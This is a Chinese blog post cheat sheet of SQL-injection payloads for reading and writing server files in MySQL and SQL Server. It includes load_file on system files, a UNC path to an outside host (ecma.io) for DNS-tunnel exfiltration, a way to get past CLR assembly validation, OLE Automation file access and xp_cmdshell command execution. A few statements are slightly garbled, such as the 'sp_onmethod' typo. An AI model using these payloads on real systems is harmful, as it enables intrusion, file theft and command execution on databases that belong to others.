关于SQL注入中文件读写的方法总结
2017-03-21 08:46
831 查看
SQL注入有直接sql注入也有文件读写时的注入了我们这篇文章介绍的是SQL注入中的文件读写这一块的内容,具体的一起来看看。
一、MySQL
读文件
常见的读文件,可以用16进制代替字符串
select load_file('c:/boot.ini') select load_file(0x633a2f626f6f742e696e69) select load_file('//ecma.io/1.txt') # smb协议 select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道
写文件
我暂时已知l两种写文件的方式
select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'
二、 SQL Server
读文件
1. BULK INSERT
create table result(res varchar(8000)); bulk insert result from 'd:/1.txt';
2. CLR集成
// 开启CLR集成 exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'clr enabled',1 reconfigure
create assembly sqb from 'd:\1.exe' with permission_set=unsafe
上面一句可以利用create assembly函数从远程服务器加载任何.NET二进制文件到数据库中;但是他会验证是否为合法.NET程序,导致失败,下面是读取方式
select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files
绕过,首先加载一个有效的.NET的二进制文件,然后追加文件即可,下面是绕过方法。
create assembly sqb from 'd:\net.exe'; alter assembly sqb add file from 'd:\1.txt' alter assembly sqb add file from 'd:\notnet.exe'
3. Script.FileSystemObject
# 开启Ole Automation Procedures sp_configure 'show advanced options',1; RECONFIGURE; sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1 exec @ret = sp_onmethod @f, 'readline', @line out while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end
写文件
1. Script.FileSystemObject
declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1 exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'
2. BCP复制文件(测试失败,无bcp.exe)
c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"
3. xp_cmdshell
exec xp_cmdshell 'echo test>d:\1.txt'
三、Oracle
pass,Oracle太坑了~~~几乎都受到PL/SQL的限制,暂时不讨论
相关文章推荐
- 关于Java对相对目录的文件读写和调用方法的一些总结
- 关于文件输入输出的集中方法总结
- 利用C#进行文件读写的方法选择总结
- 【工作总结】一组关于key=value类似配置文件的读写操作函数
- 利用C#进行文件读写的方法选择总结
- perl下关于文件读写,hash统计频数并排序的总结
- C# 读写文件方法总结
- MFC中的文件读写方法总结
- 关于java下的明确编码方式的文件读写操作总结
- 关于POI或者JXL读写EXCEL文件的总结,由浅及深(一)
- 关于#include 头文件替换总结的三种方法
- php的web开发中关于上传文件的几种方法的总结
- JAVA文件读写方法和性能比较总结
- Asp.net_关于如何利用编译器把[.cs]文件生成动态链接库[.dll]文件方法的总结
- 关于共享读写文件的方法
- java中关于文本文件的读写方法实例总结
- WINCE应用层设计经验总结-关于INI文件读写的类
- 在C++中实现文件的读写的基本方法
- 一种简便实效的配置文件读写方法
- 文件读写总结[keep updating]